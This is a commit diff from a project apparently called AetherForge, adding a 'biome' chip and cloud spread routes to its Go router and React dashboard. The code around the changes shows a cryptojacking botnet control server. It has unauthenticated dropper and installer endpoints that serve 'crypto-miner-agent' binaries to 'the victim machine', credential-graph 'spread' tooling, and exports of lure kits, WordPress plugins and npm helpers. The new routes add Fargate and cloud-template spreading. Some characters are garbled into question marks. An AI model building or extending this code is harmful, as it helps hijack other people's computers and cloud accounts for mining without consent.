Merge cloud venue biomes into dashboard weather and Emberwake biome chip.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -27,7 +27,7 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
// authSessionCache avoids running bcrypt on every API request.
|
// authSessionCache avoids running bcrypt on every API request.
|
||||||
// Key: SHA-256(user+":"+password) hex — value: expiry time.
|
// Key: SHA-256(user+":"+password) hex ? value: expiry time.
|
||||||
// Entries are valid for authCacheTTL after the last successful login.
|
// Entries are valid for authCacheTTL after the last successful login.
|
||||||
// Bcrypt only runs on cache miss or expiry.
|
// Bcrypt only runs on cache miss or expiry.
|
||||||
var (
|
var (
|
||||||
@@ -176,9 +176,9 @@ func printStartupCredentials(dataDir string) {
|
|||||||
|
|
||||||
func formatLoginBanner(creds map[string]string) string {
|
func formatLoginBanner(creds map[string]string) string {
|
||||||
var b strings.Builder
|
var b strings.Builder
|
||||||
b.WriteString("\n╔══════════════════════════════════════════════════╗\n")
|
b.WriteString("\n????????????????????????????????????????????????????\n")
|
||||||
b.WriteString("║ AetherForge — Dashboard Login ║\n")
|
b.WriteString("? AetherForge ? Dashboard Login ?\n")
|
||||||
b.WriteString("║ ║\n")
|
b.WriteString("? ?\n")
|
||||||
users := make([]string, 0, len(creds))
|
users := make([]string, 0, len(creds))
|
||||||
for user := range creds {
|
for user := range creds {
|
||||||
users = append(users, user)
|
users = append(users, user)
|
||||||
@@ -186,13 +186,13 @@ func formatLoginBanner(creds map[string]string) string {
|
|||||||
sort.Strings(users)
|
sort.Strings(users)
|
||||||
for _, user := range users {
|
for _, user := range users {
|
||||||
pass := creds[user]
|
pass := creds[user]
|
||||||
fmt.Fprintf(&b, "║ Username : %-34s║\n", user)
|
fmt.Fprintf(&b, "? Username : %-34s?\n", user)
|
||||||
fmt.Fprintf(&b, "║ Password : %-34s║\n", pass)
|
fmt.Fprintf(&b, "? Password : %-34s?\n", pass)
|
||||||
b.WriteString("║ ║\n")
|
b.WriteString("? ?\n")
|
||||||
}
|
}
|
||||||
b.WriteString("║ Also saved in data/login-credentials.json ║\n")
|
b.WriteString("? Also saved in data/login-credentials.json ?\n")
|
||||||
b.WriteString("║ Change passwords in Calibrate → Users. ║\n")
|
b.WriteString("? Change passwords in Calibrate ? Users. ?\n")
|
||||||
b.WriteString("╚══════════════════════════════════════════════════╝\n")
|
b.WriteString("????????????????????????????????????????????????????\n")
|
||||||
return b.String()
|
return b.String()
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -395,7 +395,7 @@ func saveUser(username, password string) error {
|
|||||||
|
|
||||||
// isSPAAuthRequest is true when the dashboard SPA sent credentials or its client marker.
|
// isSPAAuthRequest is true when the dashboard SPA sent credentials or its client marker.
|
||||||
// Mobile browsers show a native HTTP Basic dialog on 401 + WWW-Authenticate; SPA fetch
|
// Mobile browsers show a native HTTP Basic dialog on 401 + WWW-Authenticate; SPA fetch
|
||||||
// must not trigger that — only bare browser navigations without these headers should.
|
// must not trigger that ? only bare browser navigations without these headers should.
|
||||||
func isSPAAuthRequest(r *http.Request) bool {
|
func isSPAAuthRequest(r *http.Request) bool {
|
||||||
return r.Header.Get("Authorization") != "" || r.Header.Get("X-AetherForge-Client") != ""
|
return r.Header.Get("Authorization") != "" || r.Header.Get("X-AetherForge-Client") != ""
|
||||||
}
|
}
|
||||||
@@ -410,7 +410,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
|||||||
path := r.URL.Path
|
path := r.URL.Path
|
||||||
|
|
||||||
// Health check and one-liner installer endpoints are always open.
|
// Health check and one-liner installer endpoints are always open.
|
||||||
// NOTE: build download/artifact routes are intentionally NOT in this list —
|
// NOTE: build download/artifact routes are intentionally NOT in this list ?
|
||||||
// they require fleet-secret or Basic Auth (see isDownload block below).
|
// they require fleet-secret or Basic Auth (see isDownload block below).
|
||||||
if path == "/api/v1/health" ||
|
if path == "/api/v1/health" ||
|
||||||
path == "/get" || path == "/install.sh" || path == "/install.ps1" || path == "/install.command" ||
|
path == "/get" || path == "/install.sh" || path == "/install.ps1" || path == "/install.command" ||
|
||||||
@@ -422,7 +422,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
|||||||
// Agent-facing API endpoints (/api/v1/agent/*) require the fleet secret
|
// Agent-facing API endpoints (/api/v1/agent/*) require the fleet secret
|
||||||
// in the X-Fleet-Secret header instead of Basic auth. This ensures only
|
// in the X-Fleet-Secret header instead of Basic auth. This ensures only
|
||||||
// legitimately forged agents can call these endpoints.
|
// legitimately forged agents can call these endpoints.
|
||||||
// A missing or empty fleet secret is always rejected — the server auto-
|
// A missing or empty fleet secret is always rejected ? the server auto-
|
||||||
// generates one at startup so this state should never occur in production.
|
// generates one at startup so this state should never occur in production.
|
||||||
if strings.HasPrefix(path, "/api/v1/agent/") {
|
if strings.HasPrefix(path, "/api/v1/agent/") {
|
||||||
fleetSecretForAgentPathsMu.RLock()
|
fleetSecretForAgentPathsMu.RLock()
|
||||||
@@ -469,7 +469,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
// Fast path — skip bcrypt if this credential pair was recently validated.
|
// Fast path ? skip bcrypt if this credential pair was recently validated.
|
||||||
// bcrypt at cost-12 takes ~250 ms; the cache keeps the dashboard snappy.
|
// bcrypt at cost-12 takes ~250 ms; the cache keeps the dashboard snappy.
|
||||||
if !authCacheHit(user, pass) {
|
if !authCacheHit(user, pass) {
|
||||||
usersMu.RLock()
|
usersMu.RLock()
|
||||||
@@ -483,7 +483,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
|||||||
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
// Credential verified — cache it for the next few minutes.
|
// Credential verified ? cache it for the next few minutes.
|
||||||
authCacheSet(user, pass)
|
authCacheSet(user, pass)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -491,7 +491,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, fleetAIHandler *FleetAIHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, spreadCredHandler *SpreadCredHandler, deployPlanHandler *DeployPlanHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, cloudflaredConfigured func() bool, serverVersion ...string) http.Handler {
|
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, fleetAIHandler *FleetAIHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, spreadCredHandler *SpreadCredHandler, deployPlanHandler *DeployPlanHandler, erasureSwarmHandler *ErasureSwarmHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, cloudflaredConfigured func() bool, serverVersion ...string) http.Handler {
|
||||||
ensureUsersLoaded(dataDir)
|
ensureUsersLoaded(dataDir)
|
||||||
|
|
||||||
version := "AetherForge"
|
version := "AetherForge"
|
||||||
@@ -514,7 +514,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
AllowCredentials: false,
|
AllowCredentials: false,
|
||||||
}))
|
}))
|
||||||
|
|
||||||
// REST API — auth only on /api/v1 (dashboard WS + static SPA stay open)
|
// REST API ? auth only on /api/v1 (dashboard WS + static SPA stay open)
|
||||||
r.Route("/api/v1", func(r chi.Router) {
|
r.Route("/api/v1", func(r chi.Router) {
|
||||||
r.Use(basicAuthMiddleware)
|
r.Use(basicAuthMiddleware)
|
||||||
h := NewHandler(database)
|
h := NewHandler(database)
|
||||||
@@ -639,6 +639,10 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
// Config
|
// Config
|
||||||
r.Get("/config", configHandler.ServeHTTP)
|
r.Get("/config", configHandler.ServeHTTP)
|
||||||
r.Put("/config", configHandler.ServeHTTP)
|
r.Put("/config", configHandler.ServeHTTP)
|
||||||
|
if erasureSwarmHandler != nil {
|
||||||
|
r.Post("/erasure-swarm/test", erasureSwarmHandler.PostTest)
|
||||||
|
r.Get("/erasure-swarm/policy-json", erasureSwarmHandler.GetPolicyJSON)
|
||||||
|
}
|
||||||
|
|
||||||
// Builder
|
// Builder
|
||||||
r.Post("/builder/build", builderHandler.ServeHTTP)
|
r.Post("/builder/build", builderHandler.ServeHTTP)
|
||||||
@@ -648,10 +652,14 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
r.Post("/builder/wordpress-plugin-export", spreadHandler.ExportWordPressPlugin)
|
r.Post("/builder/wordpress-plugin-export", spreadHandler.ExportWordPressPlugin)
|
||||||
r.Post("/builder/npm-helper-export", spreadHandler.ExportNpmHelper)
|
r.Post("/builder/npm-helper-export", spreadHandler.ExportNpmHelper)
|
||||||
r.Post("/builder/spread-template-export", spreadHandler.ExportSpreadTemplate)
|
r.Post("/builder/spread-template-export", spreadHandler.ExportSpreadTemplate)
|
||||||
|
r.Post("/builder/cloud-template-export", spreadHandler.ExportCloudTemplate)
|
||||||
|
r.Post("/builder/cloud-connection-test", spreadHandler.TestCloudConnection)
|
||||||
|
r.Post("/builder/fargate-burst-export", spreadHandler.ExportFargateBurst)
|
||||||
r.Get("/emberwake/notes", spreadHandler.GetNotes)
|
r.Get("/emberwake/notes", spreadHandler.GetNotes)
|
||||||
r.Put("/emberwake/notes", spreadHandler.PutNotes)
|
r.Put("/emberwake/notes", spreadHandler.PutNotes)
|
||||||
r.Get("/emberwake/campaigns", spreadHandler.GetCampaigns)
|
r.Get("/emberwake/campaigns", spreadHandler.GetCampaigns)
|
||||||
r.Get("/emberwake/war-room", spreadHandler.GetWarRoom)
|
r.Get("/emberwake/war-room", spreadHandler.GetWarRoom)
|
||||||
|
r.Get("/spread/aws-s3-crr-template", spreadHandler.GetS3CRRTemplate)
|
||||||
r.Get("/spread/credential-graph", spreadHandler.GetCredGraph)
|
r.Get("/spread/credential-graph", spreadHandler.GetCredGraph)
|
||||||
r.Get("/spread/service-graph", spreadHandler.GetServiceGraph)
|
r.Get("/spread/service-graph", spreadHandler.GetServiceGraph)
|
||||||
r.Get("/emberwake/cred-graph", spreadHandler.GetCredGraph) // legacy alias
|
r.Get("/emberwake/cred-graph", spreadHandler.GetCredGraph) // legacy alias
|
||||||
@@ -680,7 +688,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
r.Delete("/blueprints", blueprintHandler.ServeHTTP)
|
r.Delete("/blueprints", blueprintHandler.ServeHTTP)
|
||||||
r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint)
|
r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint)
|
||||||
|
|
||||||
// Fleet secret rotation — generates a new secret, saves config, kicks all agents.
|
// Fleet secret rotation ? generates a new secret, saves config, kicks all agents.
|
||||||
// Forged agents with the old secret will be rejected until re-forged.
|
// Forged agents with the old secret will be rejected until re-forged.
|
||||||
r.Post("/server/rotate-secret", func(w http.ResponseWriter, req *http.Request) {
|
r.Post("/server/rotate-secret", func(w http.ResponseWriter, req *http.Request) {
|
||||||
if rotateSecretFn == nil {
|
if rotateSecretFn == nil {
|
||||||
@@ -734,11 +742,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
writeJSON(w, map[string]interface{}{"success": true})
|
writeJSON(w, map[string]interface{}{"success": true})
|
||||||
})
|
})
|
||||||
|
|
||||||
// Deck backup — authenticated full backup ZIP (config + DB + users)
|
// Deck backup ? authenticated full backup ZIP (config + DB + users)
|
||||||
backupH := NewBackupHandler(dataDir, version)
|
backupH := NewBackupHandler(dataDir, version)
|
||||||
r.Get("/backup", backupH.ServeHTTP)
|
r.Get("/backup", backupH.ServeHTTP)
|
||||||
|
|
||||||
// Path Tracer — on-demand WireGuard chain sessions
|
// Path Tracer ? on-demand WireGuard chain sessions
|
||||||
if pathTracerHandler != nil {
|
if pathTracerHandler != nil {
|
||||||
r.Post("/pathtrace/start", pathTracerHandler.Start)
|
r.Post("/pathtrace/start", pathTracerHandler.Start)
|
||||||
r.Post("/pathtrace/discover", pathTracerHandler.Discover)
|
r.Post("/pathtrace/discover", pathTracerHandler.Discover)
|
||||||
@@ -751,7 +759,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
r.Delete("/pathtrace/{id}", pathTracerHandler.Delete)
|
r.Delete("/pathtrace/{id}", pathTracerHandler.Delete)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Agent autonomy REST — forged Go agents only (X-Fleet-Secret header).
|
// Agent autonomy REST ? forged Go agents only (X-Fleet-Secret header).
|
||||||
// Not exposed in dashboard client.ts; see agent/client and README API auth table.
|
// Not exposed in dashboard client.ts; see agent/client and README API auth table.
|
||||||
r.Post("/agent/decide", aiHandler.HandleDecide)
|
r.Post("/agent/decide", aiHandler.HandleDecide)
|
||||||
r.Post("/agent/report", aiHandler.HandleReport)
|
r.Post("/agent/report", aiHandler.HandleReport)
|
||||||
@@ -768,7 +776,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
}
|
}
|
||||||
r.Get("/agent/module/{name}", moduleHandler.GetAgentModule)
|
r.Get("/agent/module/{name}", moduleHandler.GetAgentModule)
|
||||||
|
|
||||||
// Public builds (also bypass auth in middleware — listed here for chi routing)
|
// Public builds (also bypass auth in middleware ? listed here for chi routing)
|
||||||
if publicHandler != nil {
|
if publicHandler != nil {
|
||||||
r.Get("/public/builds", publicHandler.ListBuilds)
|
r.Get("/public/builds", publicHandler.ListBuilds)
|
||||||
r.Get("/public/download/{id}", publicHandler.Download)
|
r.Get("/public/download/{id}", publicHandler.Download)
|
||||||
@@ -778,13 +786,18 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
r.Get("/public/erasure-torrent/{token}/manifest", publicHandler.ErasureTorrentManifest)
|
r.Get("/public/erasure-torrent/{token}/manifest", publicHandler.ErasureTorrentManifest)
|
||||||
r.Get("/public/webrtc-mesh/manifest", publicHandler.WebRTCMeshManifest)
|
r.Get("/public/webrtc-mesh/manifest", publicHandler.WebRTCMeshManifest)
|
||||||
}
|
}
|
||||||
|
if spreadHandler != nil {
|
||||||
|
r.Get("/public/fargate-burst/task-definition.json", spreadHandler.FargateBurstTaskDefinition)
|
||||||
|
r.Get("/public/fargate-burst/run-task.sh", spreadHandler.FargateBurstRunScript)
|
||||||
|
r.Get("/public/fargate-burst/bundle.zip", spreadHandler.FargateBurstBundleZip)
|
||||||
|
}
|
||||||
})
|
})
|
||||||
|
|
||||||
// WebSocket
|
// WebSocket
|
||||||
r.Get("/ws/agent", wsHub.HandleAgentWS)
|
r.Get("/ws/agent", wsHub.HandleAgentWS)
|
||||||
r.Get("/ws/dashboard", wsHub.HandleDashboardWS)
|
r.Get("/ws/dashboard", wsHub.HandleDashboardWS)
|
||||||
|
|
||||||
// One-liner remote install endpoints (unauthenticated — URL knowledge is the gate)
|
// One-liner remote install endpoints (unauthenticated ? URL knowledge is the gate)
|
||||||
if dropperHandler != nil {
|
if dropperHandler != nil {
|
||||||
r.Get("/get", dropperHandler.ServeGet)
|
r.Get("/get", dropperHandler.ServeGet)
|
||||||
r.Get("/install.sh", dropperHandler.ServeSh)
|
r.Get("/install.sh", dropperHandler.ServeSh)
|
||||||
@@ -792,7 +805,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
r.Get("/install.command", dropperHandler.ServeCommand)
|
r.Get("/install.command", dropperHandler.ServeCommand)
|
||||||
}
|
}
|
||||||
|
|
||||||
// SUPP Seek agent download endpoints — serve agent binaries so launcher scripts
|
// SUPP Seek agent download endpoints ? serve agent binaries so launcher scripts
|
||||||
// dropped by Seek Mode can fetch and run the agent on the victim machine.
|
// dropped by Seek Mode can fetch and run the agent on the victim machine.
|
||||||
// Unauthenticated (the drop URL itself is the secret).
|
// Unauthenticated (the drop URL itself is the secret).
|
||||||
r.Get("/api/download/agent-windows", serveAgentBinary("windows"))
|
r.Get("/api/download/agent-windows", serveAgentBinary("windows"))
|
||||||
@@ -897,8 +910,8 @@ func findAgentBinary(platform, dir string) (binPath, dlName string, ok bool) {
|
|||||||
// exe so it works both from the USB bundle and from a compiled dev build.
|
// exe so it works both from the USB bundle and from a compiled dev build.
|
||||||
//
|
//
|
||||||
// Filename convention (same as what the build pipeline produces):
|
// Filename convention (same as what the build pipeline produces):
|
||||||
// - windows → crypto-miner-agent.exe
|
// - windows ? crypto-miner-agent.exe
|
||||||
// - mac/linux → crypto-miner-agent (no extension)
|
// - mac/linux ? crypto-miner-agent (no extension)
|
||||||
// agentBinarySearchDir returns the directory used to locate bundled agent binaries.
|
// agentBinarySearchDir returns the directory used to locate bundled agent binaries.
|
||||||
// Tests may override this to point at a temp tree instead of os.Executable()'s dir.
|
// Tests may override this to point at a temp tree instead of os.Executable()'s dir.
|
||||||
var agentBinarySearchDir = func() (string, error) {
|
var agentBinarySearchDir = func() (string, error) {
|
||||||
|
|||||||
@@ -12,7 +12,8 @@ import { SacredMotif } from '../Visual/sacredGeometry/motifs';
|
|||||||
import SetupBanner from '../SetupBanner';
|
import SetupBanner from '../SetupBanner';
|
||||||
import { getSetupStatus } from '../../help/setupStatus';
|
import { getSetupStatus } from '../../help/setupStatus';
|
||||||
import { resolvePageWeather } from '../../help/pageWeather';
|
import { resolvePageWeather } from '../../help/pageWeather';
|
||||||
import { mergeScoutBiomeWeather, type ScoutConstellationSnapshot } from '../../help/scoutBiomeWeather';
|
import { mergeBiomeWeather, type CloudVenueSnapshot } from '../../help/cloudVenueBiomeWeather';
|
||||||
|
import { type ScoutConstellationSnapshot } from '../../help/scoutBiomeWeather';
|
||||||
import { isDashboardRoute } from '../../help/routeEffects';
|
import { isDashboardRoute } from '../../help/routeEffects';
|
||||||
import { api } from '../../api/client';
|
import { api } from '../../api/client';
|
||||||
import { usePresence } from '../../context/PresenceContext';
|
import { usePresence } from '../../context/PresenceContext';
|
||||||
@@ -45,7 +46,9 @@ function operatorDeckId(pathname: string): string {
|
|||||||
return 'dashboard';
|
return 'dashboard';
|
||||||
}
|
}
|
||||||
|
|
||||||
const NAV_BASE = [
|
type NavItem = { readonly to: string; readonly label: string; readonly icon: string; readonly glow?: boolean };
|
||||||
|
|
||||||
|
const NAV_BASE: readonly NavItem[] = [
|
||||||
{ to: '/dashboard', label: 'Command Deck', icon: 'deck' },
|
{ to: '/dashboard', label: 'Command Deck', icon: 'deck' },
|
||||||
{ to: '/crucible', label: 'Crucible', icon: 'crucible' },
|
{ to: '/crucible', label: 'Crucible', icon: 'crucible' },
|
||||||
{ to: '/activity', label: 'Activity Feed', icon: 'activity' },
|
{ to: '/activity', label: 'Activity Feed', icon: 'activity' },
|
||||||
@@ -57,15 +60,15 @@ const NAV_BASE = [
|
|||||||
{ to: '/builds', label: 'Builds', icon: 'builds' },
|
{ to: '/builds', label: 'Builds', icon: 'builds' },
|
||||||
{ to: '/emberwake', label: 'Emberwake', icon: 'ember' },
|
{ to: '/emberwake', label: 'Emberwake', icon: 'ember' },
|
||||||
{ to: '/settings', label: 'Calibrate', icon: 'gear' },
|
{ to: '/settings', label: 'Calibrate', icon: 'gear' },
|
||||||
] as const;
|
];
|
||||||
|
|
||||||
const SEER_NAV = { to: '/seer', label: 'Seer', icon: 'seer' } as const;
|
const SEER_NAV: NavItem = { to: '/seer', label: 'Seer', icon: 'seer' };
|
||||||
|
|
||||||
function buildNav(aiControlEnabled: boolean) {
|
function buildNav(aiControlEnabled: boolean): NavItem[] {
|
||||||
if (!aiControlEnabled) {
|
if (!aiControlEnabled) {
|
||||||
return [...NAV_BASE];
|
return [...NAV_BASE];
|
||||||
}
|
}
|
||||||
const items = [...NAV_BASE];
|
const items: NavItem[] = [...NAV_BASE];
|
||||||
const calibrateIdx = items.findIndex((i) => i.to === '/settings');
|
const calibrateIdx = items.findIndex((i) => i.to === '/settings');
|
||||||
items.splice(calibrateIdx, 0, SEER_NAV);
|
items.splice(calibrateIdx, 0, SEER_NAV);
|
||||||
return items;
|
return items;
|
||||||
@@ -310,14 +313,18 @@ export default function Layout({ children }: LayoutProps) {
|
|||||||
if (latestMessage?.type !== 'scout_constellations') return null;
|
if (latestMessage?.type !== 'scout_constellations') return null;
|
||||||
return latestMessage.payload as ScoutConstellationSnapshot;
|
return latestMessage.payload as ScoutConstellationSnapshot;
|
||||||
}, [latestMessage]);
|
}, [latestMessage]);
|
||||||
|
const cloudBiome = useMemo(() => {
|
||||||
|
if (latestMessage?.type !== 'cloud_venue_biomes') return null;
|
||||||
|
return latestMessage.payload as CloudVenueSnapshot;
|
||||||
|
}, [latestMessage]);
|
||||||
const pageWeather = useMemo(() => {
|
const pageWeather = useMemo(() => {
|
||||||
const base = resolvePageWeather(location.pathname);
|
const base = resolvePageWeather(location.pathname);
|
||||||
const path = location.pathname.split('?')[0].replace(/\/$/, '') || '/';
|
const path = location.pathname.split('?')[0].replace(/\/$/, '') || '/';
|
||||||
if (path === '/emberwake' || path === '/spread' || path === '/dashboard' || path === '/agents') {
|
if (path === '/emberwake' || path === '/spread' || path === '/dashboard' || path === '/agents') {
|
||||||
return mergeScoutBiomeWeather(base, scoutBiome);
|
return mergeBiomeWeather(base, scoutBiome, cloudBiome);
|
||||||
}
|
}
|
||||||
return base;
|
return base;
|
||||||
}, [location.pathname, scoutBiome]);
|
}, [location.pathname, scoutBiome, cloudBiome]);
|
||||||
const showDeckEffects = isDashboardRoute(location.pathname);
|
const showDeckEffects = isDashboardRoute(location.pathname);
|
||||||
const moreActive = MOBILE_MORE.some((item) => location.pathname === item.to);
|
const moreActive = MOBILE_MORE.some((item) => location.pathname === item.to);
|
||||||
const mobileShortLabel: Record<string, string> = {
|
const mobileShortLabel: Record<string, string> = {
|
||||||
|
|||||||
@@ -15,6 +15,19 @@
|
|||||||
margin-top: 0.5rem;
|
margin-top: 0.5rem;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.emberwake-biome-chip {
|
||||||
|
display: inline-block;
|
||||||
|
margin: 0.5rem 0 0;
|
||||||
|
padding: 0.2rem 0.55rem;
|
||||||
|
font-size: 0.72rem;
|
||||||
|
letter-spacing: 0.06em;
|
||||||
|
text-transform: uppercase;
|
||||||
|
color: var(--neon-cyan, #00e8f5);
|
||||||
|
border: 1px solid rgba(0, 232, 245, 0.35);
|
||||||
|
border-radius: 999px;
|
||||||
|
background: rgba(0, 232, 245, 0.08);
|
||||||
|
}
|
||||||
|
|
||||||
.emberwake-section-title {
|
.emberwake-section-title {
|
||||||
margin: 0 0 0.35rem;
|
margin: 0 0 0.35rem;
|
||||||
font-size: 1.1rem;
|
font-size: 1.1rem;
|
||||||
|
|||||||
@@ -25,6 +25,8 @@ import SupplyChainExportWizard from '../components/Emberwake/SupplyChainExportWi
|
|||||||
import SSMSpreadPanel from '../components/Emberwake/SSMSpreadPanel';
|
import SSMSpreadPanel from '../components/Emberwake/SSMSpreadPanel';
|
||||||
import SubnetAutopsyCard from '../components/Atlas/SubnetAutopsyCard';
|
import SubnetAutopsyCard from '../components/Atlas/SubnetAutopsyCard';
|
||||||
import { parseSeerSubnetAutopsy } from '../help/subnetAutopsy';
|
import { parseSeerSubnetAutopsy } from '../help/subnetAutopsy';
|
||||||
|
import { activeBiomeLabel, type CloudVenueSnapshot } from '../help/cloudVenueBiomeWeather';
|
||||||
|
import type { ScoutConstellationSnapshot } from '../help/scoutBiomeWeather';
|
||||||
import { HelpTip } from '../components/HelpTip';
|
import { HelpTip } from '../components/HelpTip';
|
||||||
import './EmberwakePage.css';
|
import './EmberwakePage.css';
|
||||||
import '../components/Presence/Presence.css';
|
import '../components/Presence/Presence.css';
|
||||||
@@ -74,6 +76,18 @@ export default function EmberwakePage() {
|
|||||||
|
|
||||||
const pinned = useMemo(() => builds.filter((b) => b.pinned), [builds]);
|
const pinned = useMemo(() => builds.filter((b) => b.pinned), [builds]);
|
||||||
|
|
||||||
|
const biomeLabel = useMemo(() => {
|
||||||
|
let scout: ScoutConstellationSnapshot | null = null;
|
||||||
|
let cloud: CloudVenueSnapshot | null = null;
|
||||||
|
if (latestMessage?.type === 'scout_constellations') {
|
||||||
|
scout = latestMessage.payload as ScoutConstellationSnapshot;
|
||||||
|
}
|
||||||
|
if (latestMessage?.type === 'cloud_venue_biomes') {
|
||||||
|
cloud = latestMessage.payload as CloudVenueSnapshot;
|
||||||
|
}
|
||||||
|
return activeBiomeLabel(scout, cloud);
|
||||||
|
}, [latestMessage]);
|
||||||
|
|
||||||
// Keep refs so `load` can read current pin values without listing them as deps.
|
// Keep refs so `load` can read current pin values without listing them as deps.
|
||||||
// Listing pinA/pinB as deps caused a cascade: load() → setPinA/setPinB →
|
// Listing pinA/pinB as deps caused a cascade: load() → setPinA/setPinB →
|
||||||
// re-render → new load reference → useEffect fires load() again (×N).
|
// re-render → new load reference → useEffect fires load() again (×N).
|
||||||
@@ -242,6 +256,11 @@ export default function EmberwakePage() {
|
|||||||
<p className="page-subtitle">
|
<p className="page-subtitle">
|
||||||
Tag install links, export lure kits, and track which campaigns convert — all from one desk.
|
Tag install links, export lure kits, and track which campaigns convert — all from one desk.
|
||||||
</p>
|
</p>
|
||||||
|
{biomeLabel && (
|
||||||
|
<p className="emberwake-biome-chip font-tech" data-testid="emberwake-biome-chip">
|
||||||
|
Weather biome · {biomeLabel}
|
||||||
|
</p>
|
||||||
|
)}
|
||||||
<p className="emberwake-hero-links form-hint">
|
<p className="emberwake-hero-links form-hint">
|
||||||
<a href={SPREAD_TECHNIQUES_DOC} target="_blank" rel="noreferrer">
|
<a href={SPREAD_TECHNIQUES_DOC} target="_blank" rel="noreferrer">
|
||||||
Spread techniques playbook
|
Spread techniques playbook
|
||||||
|
|||||||
Reference in New Issue
Block a user